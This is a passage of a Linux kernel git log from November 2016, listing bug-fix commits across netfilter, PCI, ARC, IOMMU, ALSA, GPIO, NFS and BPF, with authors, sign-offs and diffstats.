ignore skbs with magic untracked conntrack objects The (percpu) untracked conntrack entries can end up with nonzero connmarks. The 'untracked' conntrack objects are merely a way to distinguish INVALID (i.e. protocol connection tracker says payload doesn't meet some requirements or packet was never seen by the connection tracking code) from packets that are intentionally not tracked (some icmpv6 types such as neigh solicitation, or by using 'iptables -j CT --notrack' option). Untracked conntrack objects are implementation detail, we might as well use invalid magic address instead to tell INVALID and UNTRACKED apart. Check skb->nfct for untracked dummy and behave as if skb->nfct is NULL. Reported-by: XU Tianwen Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_connmark.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8fbfef7f505bba60fb57078b7621270ee57cd1c4 Author: WANG Cong Date: Thu Nov 3 17:14:03 2016 -0700 ipvs: use IPVS_CMD_ATTR_MAX for family.maxattr family.maxattr is the max index for policy[], the size of ops[] is determined with ARRAY_SIZE(). Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Cc: Pablo Neira Ayuso Signed-off-by: Cong Wang Signed-off-by: Simon Horman Signed-off-by: Pablo Neira Ayuso net/netfilter/ipvs/ip_vs_ctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ae94224c9d72fc4d9aaac93b2d7833cf46d7141 Author: Sebastian Andrzej Siewior Date: Fri Nov 4 19:39:38 2016 +0100 kbuild: add -fno-PIE Debian started to build the gcc with -fPIE by default so the kernel build ends before it starts properly with: |kernel/bounds.c:1:0: error: code model kernel does not support PIC mode Also add to KBUILD_AFLAGS due to: |gcc -Wp,-MD,arch/x86/entry/vdso/vdso32/.note.o.d … -mfentry -DCC_USING_FENTRY … vdso/vdso32/note.S |arch/x86/entry/vdso/vdso32/note.S:1:0: sorry, unimplemented: -mfentry isn’t supported for 32-bit in combination with -fpic Tagging it stable so it is possible to compile recent stable kernels as well. Cc: stable@vger.kernel.org Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Michal Marek Makefile | 2 ++ 1 file changed, 2 insertions(+) commit 16d917b130d782b94fa02afc7bdf0d4aae689da4 Author: Bjorn Helgaas Date: Tue Nov 8 14:25:24 2016 -0600 PCI: Don't attempt to claim shadow copies of ROM If we're using a shadow copy of a PCI device ROM, the shadow copy is in RAM and the device never sees accesses to it and doesn't respond to it. We don't have to route the shadow range to the PCI device, and the device doesn't have to claim the range. Previously we treated the shadow copy as though it were the ROM BAR, and we failed to claim it because the region wasn't routed to the device: pci 0000:01:00.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] pci_bus 0000:01: Allocating resources pci 0000:01:00.0: can't claim BAR 6 [mem 0x000c0000-0x000dffff]: no compatible bridge window The failure path of pcibios_allocate_dev_rom_resource() cleared out the resource start address, which also caused the following ioremap() warning: WARNING: CPU: 0 PID: 116 at /build/linux-akdJXO/linux-4.8.0/arch/x86/mm/ioremap.c:121 __ioremap_caller+0x1ec/0x370 ioremap on RAM at 0x0000000000000000 - 0x000000000001ffff Handle an option ROM shadow copy as RAM, without trying to insert it into the iomem resource tree. This fixes a regression caused by 0c0e0736acad ("PCI: Set ROM shadow location in arch code, not in PCI core"), which appeared in v4.6. The regression causes video device initialization to fail. This was reported on AMD Turks, but it likely affects others as well. Fixes: 0c0e0736acad ("PCI: Set ROM shadow location in arch code, not in PCI core") Reported-and-tested-by: Vecu Bosseur Link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1627496 Link: https://bugzilla.kernel.org/show_bug.cgi?id=175391 Link: https://bugzilla.redhat.com/show_bug.cgi?id=1352272 Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org # v4.6+ drivers/pci/setup-res.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 0a0a047def15b7c8bcd27671d2be2de3d37fb30d Author: Yuriy Kolerov Date: Tue Nov 8 10:08:32 2016 +0300 ARCv2: MCIP: Use IDU_M_DISTRI_DEST mode if there is only 1 destination core ARC linux uses 2 distribution modes for common interrupts: round robin mode (IDU_M_DISTRI_RR) and a simple destination mode (IDU_M_DISTRI_DEST). The first one is used when more than 1 cores may handle a common interrupt and the second one is used when only 1 core may handle a common interrupt. However idu_irq_set_affinity() always sets IDU_M_DISTRI_RR for all affinity values. But there is no sense in setting of such mode if only 1 core must handle a common interrupt. Signed-off-by: Yuriy Kolerov Signed-off-by: Vineet Gupta arch/arc/kernel/mcip.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 34e71e4cbb8eb467dbcfb3afbd2b95ff2b08f482 Author: Yuriy Kolerov Date: Tue Nov 8 10:08:31 2016 +0300 ARC: IRQ: Do not use hwirq as virq and vice versa This came up when reviewing code to address missing IRQ affinity setting in AXS103 platform and/or implementing hierarchical IRQ domains - smp_ipi_irq_setup() callers pass hwirq but in turn calls request_percpu_irq() which expects a linux virq. So invoke irq_find_mapping() to do the conversion (also explicitify this in code by renaming the args appropriately) - idu_of_init()/idu_cascade_isr() were similarly using linux virq where hwirq is expected, so do the conversion using irqd_to_hwirq() helper Signed-off-by: Yuriy Kolerov [vgupta: made changelog a bit concise a bit] Signed-off-by: Vineet Gupta arch/arc/include/asm/smp.h | 4 ++-- arch/arc/kernel/mcip.c | 19 +++++++++---------- arch/arc/kernel/smp.c | 13 +++++++++---- 3 files changed, 20 insertions(+), 16 deletions(-) commit e3a00f68e426df24a5fb98956a1bd1b23943aa1e Merge: b58ec8b bea6403 Author: Linus Torvalds Date: Tue Nov 8 10:07:13 2016 -0800 Merge tag 'iommu-fixes-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu Pull IOMMU fixes from Joerg Roedel: - Four patches from Robin Murphy fix several issues with the recently merged generic DT-bindings support for arm-smmu drivers - A fix for a dead-lock issue in the VT-d driver, which shows up on iommu hotplug * tag 'iommu-fixes-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/joro/iommu: iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path iommu/arm-smmu: Fix out-of-bounds dereference iommu/arm-smmu: Check that iommu_fwspecs are ours iommu/arm-smmu: Don't inadvertently reject multiple SMMUv3s iommu/arm-smmu: Work around ARM DMA configuration commit 19dbc76228899be555b84a09fd3a364c2ce86bbb Author: Noam Camus Date: Tue Nov 8 15:20:59 2016 +0200 ARC: [plat-eznps] set default baud for early console For CONFIG_SERIAL_EARLYCON we need 800MHz for NPS SoC The early console driver uses BASE_BAUD and not using dtb. The default of 50MHz is NOT good for NPS SoC. Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/kernel/devtree.c | 2 ++ 1 file changed, 2 insertions(+) commit 66619433d0fdf3e7d9f573993217b0d2cc3044fa Author: Noam Camus Date: Tue Nov 8 11:58:23 2016 +0200 ARC: [plat-eznps] remove IPI clear from SMP operations Today we register to plat_smp_ops.clear() method which actually is acking the IPI. However this is already taking care by our irqchip driver specifically by the irq_chip.irq_eoi() method. This is perfect timing where it should be done and no special handling is needed at plat_smp_ops.clear(). Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/plat-eznps/smp.c | 6 ------ 1 file changed, 6 deletions(-) commit 76a08404742e6da79f1e5002ac39033dc79d94da Author: Vineet Gupta Date: Tue Nov 8 08:47:14 2016 -0800 Revert "ARC: build: retire old toggles" This has caused a bunch of build failures at a few sites, with GNU 2015.12 and older as the assembler seems to need -mlock to be able to grok llock/scond instructions for ARC700 builds. different places since the older tools still seem to release of tools which most people are using seem to trip with the -mlock flag not being passed. This reverts commit c3005475889c7c730638f95d13be3360f0b33e98. arch/arc/Makefile | 3 +++ 1 file changed, 3 insertions(+) commit f20024d8ba6bc8abf8d0ec12eabfdedd9935fff2 Author: Andrew Shadura Date: Thu Nov 3 11:09:24 2016 +0100 drm/amd/powerplay: return false instead of -EINVAL Returning -EINVAL from a bool-returning function phm_check_smc_update_required_for_display_configuration has an unexpected effect of returning true, which is probably not what was intended. Replace -EINVAL by false. The only place this function is called from is psm_adjust_power_state_dynamic in drivers/gpu/drm/amd/powerplay/eventmgr/psm.c:106: if (!equal || phm_check_smc_update_required_for_display_configuration(hwmgr)) { phm_apply_state_adjust_rules(hwmgr, requested, pcurrent); phm_set_power_state(hwmgr, &pcurrent->hardware, &requested->hardware); hwmgr->current_ps = requested; } It seems to expect a boolean value here. This issue has been found using the following Coccinelle semantic patch written by Peter Senna Tschudin: @@ identifier f; constant C; typedef bool; @@ bool f (...){ <+... * return -C; ...+> } Reviewed-by: Alex Deucher Signed-off-by: Andrew Shadura Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hardwaremanager.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a29d126027c781eaa305ecae432bb04d41e198c5 Author: Arnd Bergmann Date: Tue Nov 8 14:52:18 2016 +0100 drm/amdgpu/powerplay/smu7: fix unintialized data usage A recent bugfix replaced an out-of-bounds access with direct use of unintialized data: drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c: In function 'smu7_patch_limits_vddc': drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:2033:6: error: 'vddc' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:2146:11: note: 'vddc' was declared here drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:2033:6: error: 'vddci' may be used uninitialized in this function [-Werror=maybe-uninitialized] drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c:2146:17: note: 'vddci' was declared here uint32_t vddc, vddci; This initializes the data as before using the correct type. Fixes: 77f7f71f5be1 ("drm/amdgpu/powerplay/smu7: fix static checker warning") Signed-off-by: Arnd Bergmann Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/smu7_hwmgr.c | 2 ++ 1 file changed, 2 insertions(+) commit 7ee7e87dfb158e79019ea1d5ea1b0e6f2bc93ee4 Author: Thomas Gleixner Date: Mon Nov 7 19:57:00 2016 +0100 genirq: Use irq type from irqdata instead of irqdesc The type flags in the irq descriptor are there for historical reasons and only updated via irq_modify_status() or irq_set_type(). Both functions also update the type flags in irqdata. __setup_irq() is the only left over user of the type flags in the irq descriptor. If __setup_irq() is called with empty irq type flags, then the type flags are retrieved from irqdata. If an interrupt is shared, then the type flags are compared with the type flags stored in the irq descriptor. On x86 the ioapic does not have a irq_set_type() callback because the type is defined in the BIOS tables and cannot be changed. The type is stored in irqdata at setup time without updating the type data in the irq descriptor. As a result the comparison described above fails. There is no point in updating the irq descriptor flags because the only relevant storage is irqdata. Use the type flags from irqdata for both retrieval and comparison in __setup_irq() instead. Aside of that the print out in case of non matching type flags has the old and new type flags arguments flipped. Fix that as well. For correctness sake the flags stored in the irq descriptor should be removed, but this is beyond the scope of this bugfix and will be done in a later patch. Fixes: 4b357daed698 ("genirq: Look-up trigger type if not specified by caller") Reported-and-tested-by: Mika Westerberg Signed-off-by: Thomas Gleixner Cc: Marc Zyngier Cc: Jon Hunter Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1611072020360.3501@nanos Signed-off-by: Thomas Gleixner kernel/irq/manage.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bea64033dd7b5fb6296eda8266acab6364ce1554 Author: Joerg Roedel Date: Tue Nov 8 15:08:26 2016 +0100 iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path It turns out that the disable_dmar_iommu() code-path tried to get the device_domain_lock recursivly, which will dead-lock when this code runs on dmar removal. Fix both code-paths that could lead to the dead-lock. Fixes: 55d940430ab9 ('iommu/vt-d: Get rid of domain->iommu_lock') Signed-off-by: Joerg Roedel drivers/iommu/intel-iommu.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 8c82d6ec5abcf9691d37f329bf5f42f6868405db Author: Robin Murphy Date: Mon Nov 7 18:25:09 2016 +0000 iommu/arm-smmu: Fix out-of-bounds dereference When we iterate a master's config entries, what we generally care about is the entry's stream map index, rather than the entry index itself, so it's nice to have the iterator automatically assign the former from the latter. Unfortunately, booting with KASAN reveals the oversight that using a simple comma operator results in the entry index being dereferenced before being checked for validity, so we always access one element past the end of the fwspec array. Flip things around so that the check always happens before the index may be dereferenced. Fixes: adfec2e709d2 ("iommu/arm-smmu: Convert to iommu_fwspec") Reported-by: Mark Rutland Signed-off-by: Robin Murphy Acked-by: Will Deacon Signed-off-by: Joerg Roedel drivers/iommu/arm-smmu.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3c117b543528b0d25801bd75444037dd0fcd2b8d Author: Robin Murphy Date: Wed Nov 2 17:31:32 2016 +0000 iommu/arm-smmu: Check that iommu_fwspecs are ours We seem to have forgotten to check that iommu_fwspecs actually belong to us before we go ahead and dereference their private data. Oops. Fixes: 021bb8420d44 ("iommu/arm-smmu: Wire up generic configuration support") Signed-off-by: Robin Murphy Signed-off-by: Joerg Roedel drivers/iommu/arm-smmu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ec615f43d3b61edcfdc4d8d1f672be1059573d1b Author: Robin Murphy Date: Thu Nov 3 17:39:07 2016 +0000 iommu/arm-smmu: Don't inadvertently reject multiple SMMUv3s We now delay installing our per-bus iommu_ops until we know an SMMU has successfully probed, as they don't serve much purpose beforehand, and doing so also avoids fights between multiple IOMMU drivers in a single kernel. However, the upshot of passing the return value of bus_set_iommu() back from our probe function is that if there happens to be more than one SMMUv3 device in a system, the second and subsequent probes will wind up returning -EBUSY to the driver core and getting torn down again. Avoid re-setting ops if ours are already installed, so that any genuine failures stand out. Fixes: 08d4ca2a672b ("iommu/arm-smmu: Support non-PCI devices with SMMUv3") CC: Lorenzo Pieralisi CC: Hanjun Guo Signed-off-by: Robin Murphy Signed-off-by: Joerg Roedel drivers/iommu/arm-smmu-v3.c | 25 +++++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) commit fba4f8e5c49443ddb1511f8f548ac801a693d7b7 Author: Robin Murphy Date: Mon Oct 17 12:06:21 2016 +0100 iommu/arm-smmu: Work around ARM DMA configuration The 32-bit ARM DMA configuration code predates the IOMMU core's default domain functionality, and instead relies on allocating its own domains and attaching any devices using the generic IOMMU binding to them. Unfortunately, it does this relatively early on in the creation of the device, before we've seen our add_device callback, which leads us to attempt to operate on a half-configured master. To avoid a crash, check for this situation on attach, but refuse to play, as there's nothing we can do. This at least allows VFIO to keep working for people who update their 32-bit DTs to the generic binding, albeit with a few (innocuous) warnings from the DMA layer on boot. Signed-off-by: Robin Murphy Signed-off-by: Will Deacon Signed-off-by: Joerg Roedel drivers/iommu/arm-smmu.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 6809cd682b82dfff47943850d1a8c714f971b5ca Author: Takashi Iwai Date: Sun Oct 30 22:13:19 2016 +0100 ALSA: info: Return error for invalid read/write Currently the ALSA proc handler allows read or write even if the proc file were write-only or read-only. It's mostly harmless, does thing but allocating memory and ignores the input/output. But it doesn't tell user about the invalid use, and it's confusing and inconsistent in comparison with other proc files. This patch adds some sanity checks and let the proc handler returning an -EIO error when the invalid read/write is performed. Cc: # v4.2+ Signed-off-by: Takashi Iwai sound/core/info.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 027a9fe6835620422b6713892175716f3613dd9d Author: Takashi Iwai Date: Sun Oct 30 22:18:45 2016 +0100 ALSA: info: Limit the proc text input size The ALSA proc handler allows currently the write in the unlimited size until kmalloc() fails. But basically the write is supposed to be only for small inputs, mostly for one line inputs, and we don't have to handle too large sizes at all. Since the kmalloc error results in the kernel warning, it's better to limit the size beforehand. This patch adds the limit of 16kB, which must be large enough for the currently existing code. Cc: stable@vger.kernel.org # v4.2+ Signed-off-by: Takashi Iwai sound/core/info.c | 3 +++ 1 file changed, 3 insertions(+) commit 386377b5473043c09b2de40bfe5abfb0fc87e1b4 Author: Phil Reid Date: Tue Nov 8 13:18:11 2016 +0800 gpio: pca953x: Move memcpy into mutex lock for set multiple Need to ensure that reg_output is not updated while setting multiple bits. This makes the mutex locking behaviour for the set_multiple call consistent with that of the set_value call. Cc: stable@vger.kernel.org Fixes: b4818afeacbd ("gpio: pca953x: Add set_multiple to allow multiple") Signed-off-by: Phil Reid Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7f8d61f005228fc48e6e2ca3c9af3302cd4870af Author: Heiko Carstens Date: Thu Nov 3 13:09:24 2016 +0100 percpu: use notrace variant of preempt_disable/preempt_enable Commit 345ddcc882d8 ("ftrace: Have set_ftrace_pid use the bitmap like events do") added a couple of this_cpu_read calls to the ftrace code. On x86 this is not a problem, since it has single instructions to read percpu data. Other architectures which use the generic variant now have additional preempt_disable and preempt_enable calls in the core ftrace code. This may lead to recursive calls and in result to a dead machine, e.g. if preemption and debugging options are enabled. To fix this use the notrace variant of preempt_disable and preempt_enable within the generic percpu code. Reported-and-bisected-by: Sebastian Ott Tested-by: Sebastian Ott Fixes: 345ddcc882d8 ("ftrace: Have set_ftrace_pid use the bitmap like events do") Signed-off-by: Heiko Carstens Acked-by: Steven Rostedt Signed-off-by: Martin Schwidefsky include/asm-generic/percpu.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 53f8d322234649b4d6f1515b20c127a577efd164 Author: Phil Reid Date: Tue Nov 8 14:00:45 2016 +0800 gpio: pca953x: Fix corruption of other gpios in set_multiple. gpiod_set_array_value_complex does not clear the bits field. Therefore when the drivers set_multiple funciton is called bits outside the mask are undefined and can be either set or not. So bank_val needs to be masked with bank_mask before or with the reg_val cache. Cc: stable@vger.kernel.org Fixes: b4818afeacbd ("gpio: pca953x: Add set_multiple to allow multiple") Signed-off-by: Phil Reid Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 1 + 1 file changed, 1 insertion(+) commit fd0285a39b1cb496f60210a9a00ad33a815603e7 Author: Alexander Duyck Date: Fri Nov 4 15:11:57 2016 -0400 fib_trie: Correct /proc/net/route off by one error The display of /proc/net/route has had a couple issues due to the fact that when I originally rewrote most of fib_trie I made it so that the iterator was tracking the next value to use instead of the current. In addition it had an off by 1 error where I was tracking the first piece of data as position 0, even though in reality that belonged to the SEQ_START_TOKEN. This patch updates the code so the iterator tracks the last reported position and key instead of the next expected position and key. In addition it shifts things so that all of the leaves start at 1 instead of trying to report leaves starting with offset 0 as being valid. With these two issues addressed this should resolve any off by one errors that were present in the display of /proc/net/route. Fixes: 25b97c016b26 ("ipv4: off-by-one in continuation handling in /proc/net/route") Cc: Andy Whitcroft Reported-by: Jason Baron Tested-by: Jason Baron Signed-off-by: Alexander Duyck Signed-off-by: David S. Miller net/ipv4/fib_trie.c | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 8e0140a2d7c9f55b794a5fce22e05350a435b965 Author: Fabian Mewes Date: Fri Nov 4 13:16:14 2016 +0100 Documentation: networking: dsa: Update tagging protocols Add Qualcomm QCA tagging introduced in cafdc45c9 to the list of supported protocols. Signed-off-by: Fabian Mewes Reviewed-by: Andrew Lunn Acked-by: Florian Fainelli Signed-off-by: David S. Miller Documentation/networking/dsa/dsa.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f3358507c11999c91abf54744658bccd49b5879c Author: Michael S. Tsirkin Date: Fri Nov 4 12:55:36 2016 +0200 virtio-net: drop legacy features in virtio 1 mode Virtio 1.0 spec says VIRTIO_F_ANY_LAYOUT and VIRTIO_NET_F_GSO are legacy-only feature bits. Do not negotiate them in virtio 1 mode. Note this is a spec violation so we need to backport it to stable/downstream kernels. Cc: stable@vger.kernel.org Signed-off-by: Michael S. Tsirkin Reviewed-by: Cornelia Huck Acked-by: Jason Wang Signed-off-by: David S. Miller drivers/net/virtio_net.c | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) commit 5d41ce29e3b91ef305f88d23f72b3359de329cec Author: David Ahern Date: Thu Nov 3 16:17:26 2016 -0700 net: icmp6_send should use dst dev to determine L3 domain icmp6_send is called in response to some event. The skb may not have the device set (skb->dev is NULL), but it is expected to have a dst set. Update icmp6_send to use the dst on the skb to determine L3 domain. Fixes: ca254490c8dfd ("net: Add VRF support to IPv6 stack") Signed-off-by: David Ahern Signed-off-by: David S. Miller net/ipv6/icmp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1219e3db7ecb59ab269e9c8b1a199d82b8d088bb Author: H. Nikolaus Schaller Date: Tue Oct 25 19:38:11 2016 +0200 ASoC: omap-abe-twl6040: fix typo in bindings documentation Signed-off-by: H. Nikolaus Schaller Acked-by: Peter Ujfalusi Acked-by: Rob Herring Signed-off-by: Tony Lindgren Documentation/devicetree/bindings/sound/omap-abe-twl6040.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b68f1beea9ed2b31ff7873d5ed0cfbd087da0eb Author: H. Nikolaus Schaller Date: Tue Oct 25 19:38:10 2016 +0200 dts: omap5: board-common: enable twl6040 headset jack detection Signed-off-by: H. Nikolaus Schaller Reviewed-by: Peter Ujfalusi Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 1 + 1 file changed, 1 insertion(+) commit 725ed2238cdb3807c19e7edcb20fde8d0f91597f Author: H. Nikolaus Schaller Date: Tue Oct 25 19:38:09 2016 +0200 dts: omap5: board-common: add phandle to reference Palmas gpadc Will be needed for iio based drivers. Signed-off-by: H. Nikolaus Schaller Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-board-common.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0ab11d8ea46fd6faf67df4461c795091429a1496 Author: Nicolae Rosia Date: Tue Nov 1 11:49:25 2016 +0200 ARM: OMAP2+: avoid NULL pointer dereference For OMAP4, volt_data is set in omap44xx_voltagedomains_init. If the SoC is neither OMAP443X or OMAP446X, we end up with a NULL in volt_data which causes a kernel oops. This is the case when booting OMAP4470. Signed-off-by: Nicolae Rosia Signed-off-by: Tony Lindgren arch/arm/mach-omap2/voltage.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 4ae46efcff19445afbf49fe7038de6020f37fefe Author: Colin Ian King Date: Mon Oct 24 12:00:21 2016 +0100 ARM: OMAP2+: PRM: initialize en_uart4_mask and grpsel_uart4_mask In the case where has_uart4 is false, en_uart4_mask and grpsel_uart4_mask are not initialized and so any garbage value is being logically or'd into the write of PM_WKEN and OMAP3430_PM_MPUGRPSEL. Fix this by initializing these masks to zero. Signed-off-by: Colin Ian King Signed-off-by: Tony Lindgren arch/arm/mach-omap2/prm3xxx.c | 3 +++ 1 file changed, 3 insertions(+) commit 271a3024db1f32ca34f504178fade6ef95cd6c9b Author: Adam Ford Date: Fri Oct 21 09:12:31 2016 -0500 ARM: dts: omap3: Fix memory node in Torpedo board Commit ("766a1fe78fc3 ARM: omap3: Add missing memory node") added the memory node, but the patch didn't have the correct starting address. This patch fixes the correct starting address. Signed-off-by: Adam Ford Signed-off-by: Tony Lindgren arch/arm/boot/dts/logicpd-torpedo-som.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 72bb40b8b7620f1390c84c10309a40e886bf449e Author: Dave Gerlach Date: Wed Oct 19 15:44:12 2016 -0500 ARM: AM43XX: Select OMAP_INTERCONNECT in Kconfig AM437x makes use of the omap_l3_noc driver so explicitly select OMAP_INTERCONNECT in the Kconfig for SOC_AM43XX to ensure it gets enabled for AM43XX only builds. Signed-off-by: Dave Gerlach Signed-off-by: Tony Lindgren arch/arm/mach-omap2/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 85566ca6b6d7e131837cd197a441d98e83146fae Author: Tony Lindgren Date: Mon Nov 7 14:52:39 2016 -0700 ARM: OMAP3: Fix formatting of features printed With the printk cleanups merged into v4.9-rc1, we now get the omap revision printed on multiple lines. Let's fix that and also remove the extra empty space at the end of the features. And let's update things to use scnprintf as suggested by Ivaylo Dimitrov . Reported-by: Adam Ford Cc: Ivaylo Dimitrov Reviewed-by: Sebastian Reichel Signed-off-by: Tony Lindgren arch/arm/mach-omap2/id.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 0ac84b72c0ed96ace1d8973a06f0120a3b905177 Author: Shuah Khan Date: Mon Nov 7 10:48:16 2016 -0700 fs/nfs: Fix used uninitialized warn in nfs4_slot_seqid_in_use() Fix the following warn: fs/nfs/nfs4session.c: In function ‘nfs4_slot_seqid_in_use’: fs/nfs/nfs4session.c:203:54: warning: ‘cur_seq’ may be used uninitialized in this function [-Wmaybe-uninitialized] if (nfs4_slot_get_seqid(tbl, slotid, &cur_seq) == 0 && ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~ cur_seq == seq_nr && test_bit(slotid, tbl->used_slots)) ~~~~~~~~~~~~~~~~~ Signed-off-by: Shuah Khan Signed-off-by: Anna Schumaker fs/nfs/nfs4session.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 192747166a468dd8fb5d47ad9d5048c138c1fc25 Author: Anna Schumaker Date: Wed Oct 26 15:54:31 2016 -0400 NFS: Don't print a pNFS error if we aren't using pNFS We used to check for a valid layout type id before verifying pNFS flags as an indicator for if we are using pNFS. This changed in 3132e49ece with the introduction of multiple layout types, since now we are passing an array of ids instead of just one. Since then, users have been seeing a KERN_ERR printk show up whenever mounting NFS v4 without pNFS. This patch restores the original behavior of exiting set_pnfs_layoutdriver() early if we aren't using pNFS. Fixes 3132e49ece ("pnfs: track multiple layout types in fsinfo structure") Reviewed-by: Jeff Layton Signed-off-by: Anna Schumaker fs/nfs/pnfs.c | 2 ++ 1 file changed, 2 insertions(+) commit 8ef3295530ddc969ea9a3f307d94df97fcbc0629 Author: Petr Vandrovec Date: Mon Nov 7 12:11:29 2016 -0800 NFS: Ignore connections that have cl_rpcclient uninitialized cl_rpcclient starts as ERR_PTR(-EINVAL), and connections like that are floating freely through the system. Most places check whether pointer is valid before dereferencing it, but newly added code in nfs_match_client does not. Which causes crashes when more than one NFS mount point is present. Signed-off-by: Petr Vandrovec Signed-off-by: Anna Schumaker fs/nfs/client.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit bb29dd84333a96f309c6d0f88b285b5b78927058 Author: Anna Schumaker Date: Wed Oct 26 10:33:31 2016 -0400 SUNRPC: Fix suspicious RCU usage We need to hold the rcu_read_lock() when calling rcu_dereference(), otherwise we can't guarantee that the object being dereferenced still exists. Fixes: 39e5d2df ("SUNRPC search xprt switch for sockaddr") Signed-off-by: Anna Schumaker net/sunrpc/clnt.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 922cc171998ac3dbe74d57011ef7ed57e9b0d7df Author: Vineet Gupta Date: Mon Oct 31 14:09:52 2016 -0700 ARC: timer: rtc: implement read loop in "C" vs. inline asm The current code doesn't even compile as somehow the inline assembly can't see the register names defined as ARC_RTC_* I'm pretty sure It worked when I first got it merged, but the tools were definitely different then. So better to write this in "C" anyways. CC: stable@vger.kernel.org #4.2+ Acked-by: Daniel Lezcano Signed-off-by: Vineet Gupta arch/arc/kernel/time.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit e6e335bf3a400bc3b5a65322a891318a25749769 Author: Vineet Gupta Date: Mon Nov 7 10:36:46 2016 -0800 ARC: change return value of userspace cmpxchg assist syscall The original syscall only used to return errno to indicate if cmpxchg succeeded. It was not returning the "previous" value which typical cmpxchg callers are interested in to build their slowpaths or retry loops. Given user preemption in syscall return path etc, it is not wise to check this in userspace afterwards, but should be what kernel actually observed in the syscall. So change the syscall interface to always return the previous value and additionally set Z flag to indicate whether operation succeeded or not (just like ARM implementation when they used to have this syscall) The flag approach avoids having to put_user errno which is nice given the use case for this syscall cares mostly about the "previous" value. Signed-off-by: Vineet Gupta arch/arc/include/asm/arcregs.h | 2 ++ arch/arc/kernel/process.c | 20 +++++++++++--------- 2 files changed, 13 insertions(+), 9 deletions(-) commit 20b2b24f91f70e7d3f0918c077546cb21bd73a87 Author: Daniel Borkmann Date: Fri Nov 4 00:56:31 2016 +0100 bpf: fix map not being uncharged during map creation failure In map_create(), we first find and create the map, then once that suceeded, we charge it to the user's RLIMIT_MEMLOCK, and then fetch a new anon fd through anon_inode_getfd(). The problem is, once the latter fails f.e. due to RLIMIT_NOFILE limit, then we only destruct the map via map->ops->map_free(), but without uncharging the previously locked memory first. That means that the user_struct allocation is leaked as well as the accounted RLIMIT_MEMLOCK memory not released. Make the label names in the fix consistent with bpf_prog_load(). Fixes: aaac3ba95e4c ("bpf: charge user for creation of BPF maps and programs") Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/syscall.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 483bed2b0ddd12ec33fc9407e0c6e1088e77a97c Author: Daniel Borkmann Date: Fri Nov 4 00:01:19 2016 +0100 bpf: fix htab map destruction when extra reserve is in use Commit a6ed3ea65d98 ("bpf: restore behavior of bpf_map_update_elem") added an extra per-cpu reserve to the hash table map to restore old behaviour from pre prealloc times. When non-prealloc is in use for a map, then problem is that once a hash table extra element has been linked into the hash-table, and the hash table is destroyed due to refcount dropping to zero, then htab_map_free() -> delete_all_elements() will walk the whole hash table and drop all elements via htab_elem_free(). The problem is that the element from the extra reserve is first fed to the wrong backend allocator and eventually freed twice. Fixes: a6ed3ea65d98 ("bpf: restore behavior of bpf_map_update_elem") Reported-by: Dmitry Vyukov Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/hashtab.c | 3 ++- 1 file 